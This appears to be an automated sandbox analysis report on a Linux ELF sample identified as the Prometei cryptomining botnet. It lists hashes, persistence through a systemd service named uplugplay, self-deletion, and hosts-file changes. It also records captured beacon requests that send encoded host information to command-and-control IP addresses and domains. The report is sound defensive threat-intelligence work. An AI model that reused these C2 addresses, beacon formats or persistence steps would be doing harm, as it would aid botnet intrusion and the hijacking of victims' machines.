Analysis

  • max time kernel
    6s
  • max time network
    145s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20250307-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20250307-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    03/04/2025, 21:18 UTC

General

  • Target

    na.elf

  • Size

    425KB

  • MD5

    84c46f0bb4ac98fe32245989300d2327

  • SHA1

    5943ae77e0c6d1e389db929fd3412baf9c2fd474

  • SHA256

    a42d53bc7de5cfebce2878c4dd636a37943289883688f57365b539941d6825fe

  • SHA512

    ae24e44c974511afd3426f9fd12d7e187234e79b2893306a9ff77d1fe5c5b342ad0583f28cb73cfa59b58fa09a37dcca21c6472dc1578cf094e7cce74f5b2601

  • SSDEEP

    6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgz:25WOSACZSV6eKRH5EPiamb4DsDwwcD

Malware Config

Signatures

  • Prometei

    Prometei is a multiplatform botnet used to mine cryptocurrency.

  • Prometei_elf family
  • Deletes itself 1 IoCs
  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Write file to user bin folder 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads CPU attributes 1 TTPs 3 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/na.elf
    /tmp/na.elf
    1⤵
    • Deletes itself
    • Modifies hosts file
    • Modifies systemd
    • Write file to user bin folder
    PID:1557
    • /bin/sh
      sh -c "pgrep na.elf"
      2⤵
        PID:1560
        • /usr/bin/pgrep
          pgrep na.elf
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1561
      • /bin/sh
        sh -c "pgrep uplugplay"
        2⤵
          PID:1564
          • /usr/bin/pgrep
            pgrep uplugplay
            3⤵
            • Reads CPU attributes
            • Reads runtime system information
            PID:1565
        • /bin/sh
          sh -c "pidof uplugplay"
          2⤵
            PID:1571
            • /usr/bin/pidof
              pidof uplugplay
              3⤵
              • Reads runtime system information
              PID:1572
          • /bin/sh
            sh -c "pgrep upnpsetup"
            2⤵
              PID:1575
              • /usr/bin/pgrep
                pgrep upnpsetup
                3⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:1576
            • /bin/sh
              sh -c "pidof upnpsetup"
              2⤵
                PID:1585
                • /usr/bin/pidof
                  pidof upnpsetup
                  3⤵
                  • Reads runtime system information
                  PID:1586
              • /bin/sh
                sh -c "systemctl daemon-reload"
                2⤵
                  PID:1587
                  • /usr/bin/systemctl
                    systemctl daemon-reload
                    3⤵
                      PID:1588
                  • /bin/sh
                    sh -c "systemctl enable uplugplay.service"
                    2⤵
                      PID:1622
                      • /usr/bin/systemctl
                        systemctl enable uplugplay.service
                        3⤵
                          PID:1623
                      • /bin/sh
                        sh -c "systemctl start uplugplay.service"
                        2⤵
                          PID:1659
                          • /usr/bin/systemctl
                            systemctl start uplugplay.service
                            3⤵
                              PID:1660

                        Network

                        • flag-us
                          GET
                          http://152.36.128.18/cgi-bin/p.cgi?r=100&i=I9WPTG57FTJV19SG
                          Remote address:
                          152.36.128.18:80
                          Request
                          GET /cgi-bin/p.cgi?r=100&i=I9WPTG57FTJV19SG HTTP/1.0
                          Host: 152.36.128.18
                          Response
                          HTTP/1.1 200 OK
                          Date: Thu, 03 Apr 2025 21:18:37 GMT
                          Server: Apache/2.4.41 (Win64)
                          Content-Length: 7
                          Connection: close
                          Content-Type: text/html; charset=windows-1251
                        • flag-us
                          GET
                          http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQp1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExDQoNCjF4IEFNRCBFUFlDIFByb2Nlc3Nvcg0KMjAxMTA2OCBrQg0KUUVNVQ0KU3RhbmRhcmQgUEMgX2k0NDBGWCArIFBJSVgsIDE5OTZfDQoNCg0KVWJ1bnR1IDIyLjA0LjQgTFRTICYgMjIuMDQuNCBMVFMgKEphbW15IEplbGx5ZmlzaCkgICYgYm9va3dvcm0vc2lkICYgDQoNCi91c3Ivc2Jpbi8NCiAyMToxODozNSB1cCAyIG1pbiwgIDEgdXNlciwgIGxvYWQgYXZlcmFnZTogMC40NCwgMC4zOSwgMC4xN3wxNzQzNzE1MTE1DQpMaW51eCB1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExIDUuMTUuMC0xMDUtZ2VuZXJpYyAjMTE1LVVidW50dSBTTVAgTW9uIEFwciAxNSAwOTo1MjowNCBVVEMgMjAyNCB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=I9WPTG57FTJV19SG&h=ubuntu2204-amd64-20250307-en-11&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF++izV9fUCmjBxl+A7J/WzhQ/9UOQ+oyvVFS5OT1sGQ+1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte+LOb1BBkW4DqTltbWMNKlxWrA+RzY=
                          Remote address:
                          152.36.128.18:80
                          Request
                          GET /cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQp1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExDQoNCjF4IEFNRCBFUFlDIFByb2Nlc3Nvcg0KMjAxMTA2OCBrQg0KUUVNVQ0KU3RhbmRhcmQgUEMgX2k0NDBGWCArIFBJSVgsIDE5OTZfDQoNCg0KVWJ1bnR1IDIyLjA0LjQgTFRTICYgMjIuMDQuNCBMVFMgKEphbW15IEplbGx5ZmlzaCkgICYgYm9va3dvcm0vc2lkICYgDQoNCi91c3Ivc2Jpbi8NCiAyMToxODozNSB1cCAyIG1pbiwgIDEgdXNlciwgIGxvYWQgYXZlcmFnZTogMC40NCwgMC4zOSwgMC4xN3wxNzQzNzE1MTE1DQpMaW51eCB1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExIDUuMTUuMC0xMDUtZ2VuZXJpYyAjMTE1LVVidW50dSBTTVAgTW9uIEFwciAxNSAwOTo1MjowNCBVVEMgMjAyNCB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=I9WPTG57FTJV19SG&h=ubuntu2204-amd64-20250307-en-11&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF++izV9fUCmjBxl+A7J/WzhQ/9UOQ+oyvVFS5OT1sGQ+1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte+LOb1BBkW4DqTltbWMNKlxWrA+RzY= HTTP/1.0
                          Host: 152.36.128.18
                          Response
                          HTTP/1.1 200 OK
                          Date: Thu, 03 Apr 2025 21:18:37 GMT
                          Server: Apache/2.4.41 (Win64)
                          Content-Length: 3
                          Connection: close
                          Content-Type: text/html; charset=windows-1251
                        • flag-us
                          DNS
                          xinchaoadcfea.com
                          Remote address:
                          8.8.8.8:53
                          Request
                          xinchaoadcfea.com
                          IN A
                          Response
                        • flag-us
                          DNS
                          xinchaoadcfea.net
                          Remote address:
                          8.8.8.8:53
                          Request
                          xinchaoadcfea.net
                          IN A
                          Response
                          xinchaoadcfea.net
                          IN A
                          34.229.166.50
                        • flag-us
                          DNS
                          xinchaoadcfea.net
                          Remote address:
                          8.8.8.8:53
                          Request
                          xinchaoadcfea.net
                          IN A
                          Response
                          xinchaoadcfea.net
                          IN A
                          34.229.166.50
                        • flag-us
                          GET
                          http://xinchaoadcfea.net/cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_
                          Remote address:
                          34.229.166.50:80
                          Request
                          GET /cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_ HTTP/1.0
                          Host: xinchaoadcfea.net
                          Response
                          HTTP/1.1 200 OK
                          Server: nginx
                          Date: Thu, 03 Apr 2025 21:20:45 GMT
                          Content-Type: text/html
                          Connection: close
                          Set-Cookie: btst=b4575d357454ed24063a57edbf5ee811|212.102.63.147|1743715245|1743715245|0|1|0; path=/; domain=.xinchaoadcfea.net; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                          Set-Cookie: snkz=212.102.63.147; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                        • flag-us
                          DNS
                          xinadcfea.org
                          Remote address:
                          8.8.8.8:53
                          Request
                          xinadcfea.org
                          IN A
                          Response
                          xinadcfea.org
                          IN A
                          85.214.228.140
                        • flag-us
                          DNS
                          xinadcfea.org
                          Remote address:
                          8.8.8.8:53
                          Request
                          xinadcfea.org
                          IN A
                          Response
                          xinadcfea.org
                          IN A
                          85.214.228.140
                        • flag-de
                          GET
                          http://xinadcfea.org/cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_
                          Remote address:
                          85.214.228.140:80
                          Request
                          GET /cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_ HTTP/1.0
                          Host: xinadcfea.org
                          Response
                          HTTP/1.0 404 Not Found
                          Content-Type: text/plain; charset=utf-8
                          X-Content-Type-Options: nosniff
                          Date: Thu, 03 Apr 2025 21:20:45 GMT
                          Content-Length: 19
                        • 152.36.128.18:80
                          http://152.36.128.18/cgi-bin/p.cgi?r=100&i=I9WPTG57FTJV19SG
                          http
                          337 B
                          391 B
                          6
                          5

                          HTTP Request

                          GET http://152.36.128.18/cgi-bin/p.cgi?r=100&i=I9WPTG57FTJV19SG

                          HTTP Response

                          200
                        • 152.36.128.18:80
                          http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQp1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExDQoNCjF4IEFNRCBFUFlDIFByb2Nlc3Nvcg0KMjAxMTA2OCBrQg0KUUVNVQ0KU3RhbmRhcmQgUEMgX2k0NDBGWCArIFBJSVgsIDE5OTZfDQoNCg0KVWJ1bnR1IDIyLjA0LjQgTFRTICYgMjIuMDQuNCBMVFMgKEphbW15IEplbGx5ZmlzaCkgICYgYm9va3dvcm0vc2lkICYgDQoNCi91c3Ivc2Jpbi8NCiAyMToxODozNSB1cCAyIG1pbiwgIDEgdXNlciwgIGxvYWQgYXZlcmFnZTogMC40NCwgMC4zOSwgMC4xN3wxNzQzNzE1MTE1DQpMaW51eCB1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExIDUuMTUuMC0xMDUtZ2VuZXJpYyAjMTE1LVVidW50dSBTTVAgTW9uIEFwciAxNSAwOTo1MjowNCBVVEMgMjAyNCB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=I9WPTG57FTJV19SG&h=ubuntu2204-amd64-20250307-en-11&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF++izV9fUCmjBxl+A7J/WzhQ/9UOQ+oyvVFS5OT1sGQ+1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte+LOb1BBkW4DqTltbWMNKlxWrA+RzY=
                          http
                          1.1kB
                          436 B
                          6
                          5

                          HTTP Request

                          GET http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0DQp1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExDQoNCjF4IEFNRCBFUFlDIFByb2Nlc3Nvcg0KMjAxMTA2OCBrQg0KUUVNVQ0KU3RhbmRhcmQgUEMgX2k0NDBGWCArIFBJSVgsIDE5OTZfDQoNCg0KVWJ1bnR1IDIyLjA0LjQgTFRTICYgMjIuMDQuNCBMVFMgKEphbW15IEplbGx5ZmlzaCkgICYgYm9va3dvcm0vc2lkICYgDQoNCi91c3Ivc2Jpbi8NCiAyMToxODozNSB1cCAyIG1pbiwgIDEgdXNlciwgIGxvYWQgYXZlcmFnZTogMC40NCwgMC4zOSwgMC4xN3wxNzQzNzE1MTE1DQpMaW51eCB1YnVudHUyMjA0LWFtZDY0LTIwMjUwMzA3LWVuLTExIDUuMTUuMC0xMDUtZ2VuZXJpYyAjMTE1LVVidW50dSBTTVAgTW9uIEFwciAxNSAwOTo1MjowNCBVVEMgMjAyNCB4ODZfNjQgeDg2XzY0IHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=I9WPTG57FTJV19SG&h=ubuntu2204-amd64-20250307-en-11&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF++izV9fUCmjBxl+A7J/WzhQ/9UOQ+oyvVFS5OT1sGQ+1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte+LOb1BBkW4DqTltbWMNKlxWrA+RzY=

                          HTTP Response

                          200
                        • 34.229.166.50:80
                          http://xinchaoadcfea.net/cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_
                          http
                          657 B
                          656 B
                          7
                          5

                          HTTP Request

                          GET http://xinchaoadcfea.net/cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_

                          HTTP Response

                          200
                        • 85.214.228.140:80
                          http://xinadcfea.org/cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_
                          http
                          533 B
                          444 B
                          5
                          5

                          HTTP Request

                          GET http://xinadcfea.org/cgi-bin/p.cgi?r=0&auth=hash&i=I9WPTG57FTJV19SG&enckey=aOMhfScW/ZF3MJIM7dmhRmzfyAF--izV9fUCmjBxl-A7J/WzhQ/9UOQ-oyvVFS5OT1sGQ-1biz1HVWYSHpFbBhahpXx0TmbnTbHHqVRaww6/qUIz6Xe6lGlUWO7iMRLk6GEeEwm0sAWUte-LOb1BBkW4DqTltbWMNKlxWrA-RzY_

                          HTTP Response

                          404
                        • 172.16.3.2:80
                          240 B
                          4
                        • 224.0.0.251:5353
                          146 B
                          2
                        • 8.8.8.8:53
                          xinchaoadcfea.com
                          dns
                          63 B
                          136 B
                          1
                          1

                          DNS Request

                          xinchaoadcfea.com

                        • 8.8.8.8:53
                          xinchaoadcfea.net
                          dns
                          63 B
                          79 B
                          1
                          1

                          DNS Request

                          xinchaoadcfea.net

                          DNS Response

                          34.229.166.50

                        • 8.8.8.8:53
                          xinchaoadcfea.net
                          dns
                          63 B
                          79 B
                          1
                          1

                          DNS Request

                          xinchaoadcfea.net

                          DNS Response

                          34.229.166.50

                        • 8.8.8.8:53
                          xinadcfea.org
                          dns
                          59 B
                          75 B
                          1
                          1

                          DNS Request

                          xinadcfea.org

                          DNS Response

                          85.214.228.140

                        • 8.8.8.8:53
                          xinadcfea.org
                          dns
                          59 B
                          75 B
                          1
                          1

                          DNS Request

                          xinadcfea.org

                          DNS Response

                          85.214.228.140

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /usr/lib/systemd/system/uplugplay.service

                          Filesize

                          145B

                          MD5

                          8ca62d1f47880bce036c2956c9b7b272

                          SHA1

                          3bcc3a5c4fcc5b0d08c4524a59f6b8e113b62060

                          SHA256

                          c655d3d4e374fad38313ec4262207b2d7d68a870238f203ef3c33f85e66c8e32

                          SHA512

                          4cd2d9d67151fa25e833707dee2442c4a5f752053fc2c36ec73c0e2b734c66ca69c63fceb47714d9add5b9fe2eee1e45be5199e2cae7c26173e766b333877da6

                        • /usr/sbin/uplugplay

                          Filesize

                          425KB

                          MD5

                          84c46f0bb4ac98fe32245989300d2327

                          SHA1

                          5943ae77e0c6d1e389db929fd3412baf9c2fd474

                          SHA256

                          a42d53bc7de5cfebce2878c4dd636a37943289883688f57365b539941d6825fe

                          SHA512

                          ae24e44c974511afd3426f9fd12d7e187234e79b2893306a9ff77d1fe5c5b342ad0583f28cb73cfa59b58fa09a37dcca21c6472dc1578cf094e7cce74f5b2601

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